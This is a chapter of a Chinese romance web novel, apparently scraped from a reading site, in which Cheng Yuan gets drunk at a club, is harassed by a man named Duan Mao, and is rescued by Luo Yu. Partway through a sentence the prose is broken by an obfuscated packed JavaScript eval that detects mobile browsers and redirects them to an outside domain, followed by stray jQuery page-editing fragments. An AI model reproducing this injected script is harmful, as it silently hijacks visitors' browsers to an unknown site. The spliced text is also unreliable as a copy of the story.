又说什么一个萝卜一个坑,程鸢去都去了,下午要是缺席了该找谁替补上去呢。 程鸢:“你随便找一个人不就行了!” 沐慈:“每个人都有自己手上的工作要做,如果要替你……也不是不行,那就让她们加班完成自己的工作好了。” “等等——” 程鸢磨牙,“我回去!” 害人加班天打雷劈,上回池之瑜是这么骂她的甲方的,程鸢当时还陪着她一起骂了。 现在这枚回旋镖绝对不可以扎到自己头上。 * 开了一天会的程鸢彻底蔫儿了,从会议室出来时天都黑了。 池之瑜打电话来约她去浮华玩,“听说新来了几个意大利风情的男模,痞帅痞帅的!” 程鸢瞬间活过来一半:“马上到!” 池之瑜还叫了不少人,组了个喝酒局,有男有女,程鸢一进去就被振耳欲聋的音乐声给弄得一激灵,醒神了。 程鸢今晚酒兴很高,也是刻意在放纵自己,一杯接着一杯地喝。 她身边坐着个年轻男人一直在给她倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15438332|169305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒,男人长得异域风情,五官深邃,眼睛是棕色的。 程鸢透过他的眼睛,想起的却是另一双更加漆黑冷淡的眼眸。 “洛聿……” “程小姐,你喝醉了,我叫Leo。” 程鸢安静两秒,目光下垂瞥见自己手上还剩半杯酒,一仰头又爽快喝了进去。 她摇摇晃晃站起身。 “小心。”Leo伸手想要扶她,被程鸢躲开,她命令:“你,坐回去。” Leo只好坐了回去,目光却一瞬不瞬地看着她,看着她喝醉后像星星一样璀璨的眼睛。 她闷闷不乐,他很想让她高兴,但她不摸也不抱,只准许他倒酒,眼神高傲却并未有一丝把人看低的感觉。 程鸢晃了晃自己的脑袋,自觉好像没有那么晕了。 她嫌包厢里闷,推开门就往外走。 “温泽楷有那能耐娶程鸢?他就不怕程鸢把他头拧下来当球踢啊。” “怎么没有,谁让人家姓温呢。” 程鸢皱了皱眉,转身打算从走廊另一边走。 “程鸢?!” 说话的两个男人一个已经推门进了旁边的包厢,另一个却眼尖地发现了程鸢。 他立刻走上前把她拦住。 程鸢停下脚步,一脸不耐地盯着他。 阴魂不散,上次在拳馆他还没被教训够?程鸢可是记得那个安保直接把他的手腕九十度折了。 段茂缓慢逼近,盯着程鸢冷若冰霜的一张脸,贪婪的目光在她雪白裸露的肩扫过。 “程鸢,我就不明白了,温泽楷玩过的女人比我多多了,你怎么就能瞧得上他。” “你管得着?”程鸢冷着脸,“段茂,我是不是太给你脸了,让你一次又一次的出现在我面前碍眼。” “离我远点听不懂?张嘴就是一股马桶味。” 段茂的脸色瞬间变得难看,伸手就要来拽程鸢的手,被她一掌拍开。 “滚开——”程鸢晃了下身体,有点站不稳,气急上涌,她觉得胸口也有点闷。 “程总!”周小竹快步走了过来,把程鸢让他去车里取的披肩披到她肩上。 周小竹站到程鸢面前,高大的身形把段茂落在程鸢身上的冒犯视线挡得死死的。 “你谁啊?”周小竹一脸不善地盯着段茂。 段茂瞥了眼周小竹,当即不屑地嗤笑了两声。 “程鸢,就这?这么一小男孩能满足得了你吗?” 程鸢今晚喝的多数是红的,这会儿后劲才开始上头,脑袋发沉,她想骂回去,张嘴却没什么力气,浑身也在发软。 “狗嘴给我闭……” 程鸢摇摇晃晃的身体往后坠入了一个宽阔的怀抱里。 “洛哥?”周小竹听见动静扭头看过去,“你怎么来了?” 洛聿把程鸢整个人承托住,手扶在她披着披肩的后腰上。 她的身体比他想象中更加柔软。 她热意的呼吸不断洒在他的胸口,睫毛轻颤,眼睛闭上了嘴却没闲着,两片潋滟饱满的红唇一张一合,蹦出几句脏话。 “狗……滚……” 嗓音绵绵的,丝毫没有攻击力。 察觉自己被人抱住,程鸢皱起眉,本能地就想推开,洛聿握住她乱动的手,但没用多大力气,她浑身都嫩,怕挣扎反而弄伤她,便只是圈着她的手腕。 “是我。” 程鸢掀了掀眼皮,安静了下来。 周小竹诧异地睁圆眼。 到底喝了多少才会醉成这样,洛聿蹙紧眉,他把人扶给周小竹,“先带她出去。” “好好。”周小竹连忙接过。 “草,我让你们走了吗!”段茂开骂,洛聿移到他面前拦住他的去路。 “你他妈又是谁,敢碍我的事?” 段茂上下打量洛聿,澜市有头有脸的人物就没有他不认识的,洛聿面生,又穿着简单。 “程鸢可以。”段茂盯着程鸢离开的方向嗤笑讽刺:“一晚御两男,会玩!” 话音刚落,段茂直接被一脚踹到墙上又摔在了地上。 洛聿缓慢走近,背着光,漆黑冰冷的一双眼睛居高临下地盯着段茂。 “刚才,哪只手碰的她?”